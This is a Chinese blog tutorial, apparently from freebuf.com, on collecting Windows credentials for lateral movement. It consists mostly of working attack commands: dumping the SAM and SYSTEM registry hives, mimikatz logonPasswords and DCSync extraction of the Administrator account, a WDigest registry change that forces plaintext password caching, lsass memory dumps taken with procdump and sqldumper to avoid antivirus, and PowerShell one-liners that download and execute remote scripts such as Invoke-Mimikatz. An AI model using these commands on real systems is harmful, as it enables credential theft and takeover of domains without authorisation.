内网横向渗透之密码搜集 – 作者:取个名字叫阿天

一、前言

由于本人是第一次写文章,算是对自己的知识进行梳理也算是炒冷饭了,欢迎大家的批评与建议。

本文仅用于技术讨论与研究,对于文中所有的工具以及命令,都是本人自行搭建的环境进行测试的。文中使用的技术仅用于学习教育目的,如果文中出现的技术用于其他任何目的及目标,作者概不负责。

二、常见的方法

1.抓取本地SAM文件中的密码 从注册表中导出

reg save HKLM\SYSTEM sys.hiv      #获取SYSTEM注册表信息,导出为sys.hiv文件

reg save HKLM\SAM sam.hiv           #获取SAM注册表信息,导出为sam.hiv文件1614067076_6034b5848d40e66001ab5.png!small?1614067076832

2.还可以使用nihs_x0008_ng中的Invoke-NinjaCopy.ps1脚本导出

①导出SAM文件 Invoke-NinjaCopy -Path “C:\Windows\System32\con fig\SYSTEM” -LocalDestination “C:\Windows\Temp\PowerShell-master\PowerShell-master\Invoke-NinjaCopy\sys.hiv”

②导出SYSTEM文件 Invoke-NinjaCopy -Path “C:\Windows\System32\conf ig\SAM” -LocalDestination “C:\Windows\Temp\PowerShell-master\PowerShell-master\Invoke-NinjaCopy\sam.hiv”

Ninja-copy

在线加载:  powershell -exec bypass “IEX (New-Object Net.WebClient).DownloadString(‘http://ip/Invoke-NinjaCopy.ps1’);Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination C:\SAM.txt;”

本地加载:  powershell -exec bypass “Import-Module .\Invoke-NinjaCopy.ps1;Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination sam.hive”

利用empire里面的Invoke-PowerDump.ps1脚本,下载地址: https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-PowerDump.ps1

从左到右依次是:    用户名  : Rid  : ntlm  :  lm:::    Rid为500代表是管理员,504代表是guest账号等。lm跟ntlm的区别是加密方法的不同

1614071965_6034c89d7bceebc09b4c9.png!small

用mimikatz解密导出的两个文件

privilege::debug    #提升权限

lsadump::sam /sam:sam.hiv /system:sys.hiv     #mimikatz运行解密命令

1614072056_6034c8f8aeac5d43c10bf.png!small?16140720572611614072046_6034c8ee0f67287a6a760.png!small?1614072046487

当我们没法使用交互式的命令时可以使用下面的命令导出

powershell “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1’); Invoke-Mimikatz -DumpCreds”

mimikatz

privilege::debug 提升权限

sekurlsa::logonPasswords 抓取密码

mimikatz.exe “privilege::debug” “sekurlsa::logonPasswords” “exit” > pass.txt

lsadump::sam /sam:Sam.hiv /system:System.hiv  导出用户hash

使用PowerShell Mimikatz

使用Mimikatz的DCSync 远程转储Active Directory凭证提取用户帐户的密码数据: Mimikatz “privilege::debug” “lsadump::dcsync /domain:xxx /user:dbadmin”exit

管理员用户帐户提取密码数据:

Mimikatz “privilege::debug” “lsadump::dcsync /domain:xxx /user:Administrator” exit

使用mimikatz.exe,执行ts::multirdp允许多用户远程登录

需要说明一下的是,当系统为win10或者win2012R2以上时,默认内存缓存中禁止保存明文密码,此时可以通过修改组测表的方式抓取明文,但是需要用户重新登陆后才能抓取成功。 命令如下:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

当重启服务器的时候,我们重新加载mimikatz,就可以抓取密码。

1614072342_6034ca16ef1ce103e745b.png!small?1614072343612

saminside

用saminside解密导出的两个文件 打开工具saminside导入sam与system文件 如图:

1614072398_6034ca4e3536728ee4965.png!small?1614072398568

procdump+mimikatz

①把lsass进程文件拖回本地破解(因为直接上传会报杀)注意工具与目标系统位数要一致

procdump.exe -accepteula -ma lsass.exe c:\lsass.dmp     #在目标机子执行导出为lsass.dmp,然后拖回本地

1614072445_6034ca7dc4f0f95fbc2d9.png!small?1614072446346

挂载lsass.dmp文件 sekurlsa::minidump lsass.dmp    #挂载lsass.dmp

1614072461_6034ca8d86d4948146fd1.png!small?1614072461726

抓取lsass.dmp文件中的密码 log  #会在目录下生成.log文件,方便查看 sekurlsa::logonpasswords  #mimikatz执行,在拖回的.dmp文件抓取密码

sqldumper+mimikatz

①首先查看lsass进程的PID tasklist /svc |findstr lsass.exe

②利用sqldumper转储 Sqldumper.exe <PID> 0 0x01100    #后面的数字是固定的,然后就会生成Sqlxxx.mdmp文件

③利用mimikatz抓取hash sekurlsa::minidump SQLDmpr0001.mdmp sekurlsa::logonPasswords

总结

希望大家多多批评指导,本人也是一个刚刚打开安全大门的弱鸡大家共同努力为网络安全添砖加瓦。

来源:freebuf.com 2021-02-23 17:40:47 by: 取个名字叫阿天

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论